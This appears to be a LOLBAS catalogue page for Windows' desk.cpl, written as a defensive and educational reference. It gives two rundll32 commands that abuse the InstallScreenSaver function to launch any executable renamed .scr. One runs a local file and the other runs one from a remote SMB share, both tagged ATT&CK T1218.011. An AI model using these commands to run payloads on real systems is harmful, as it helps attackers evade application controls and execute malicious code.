LOLBAS. GitHub
LIVING OFF THE LAND / OS LIBRARIES

Desk.cpl

View source

Desktop Settings Control Panel

Execute
02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
03DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute2

EXAMPLE 01T1218.011

Launch an executable with a .scr extension by calling the InstallScreenSaver function.

COMMAND
rundll32.exe desk.cpl,InstallScreenSaver {PATH_ABSOLUTE:.scr}
USE CASE
Launch any executable payload, as long as it uses the .scr extension.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · EXE
EXAMPLE 02T1218.011

Launch a remote executable with a .scr extension, located on an SMB share, by calling the InstallScreenSaver function.

COMMAND
rundll32.exe desk.cpl,InstallScreenSaver {PATH_SMB:.scr}
USE CASE
Launch any executable payload, as long as it uses the .scr extension.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · EXEExecute · Remote
02 / ON DISK

Known paths

C:\Windows\System32\desk.cpl
C:\Windows\SysWOW64\desk.cpl
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

3 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Rafael S Marques@pegabizu
Pierre-Alexandre Braeken@pabraeken
hai@VakninHai
Christopher Peacock@SecurePeacock
Jose Luis Sanchez@Joseliyo_Jstnk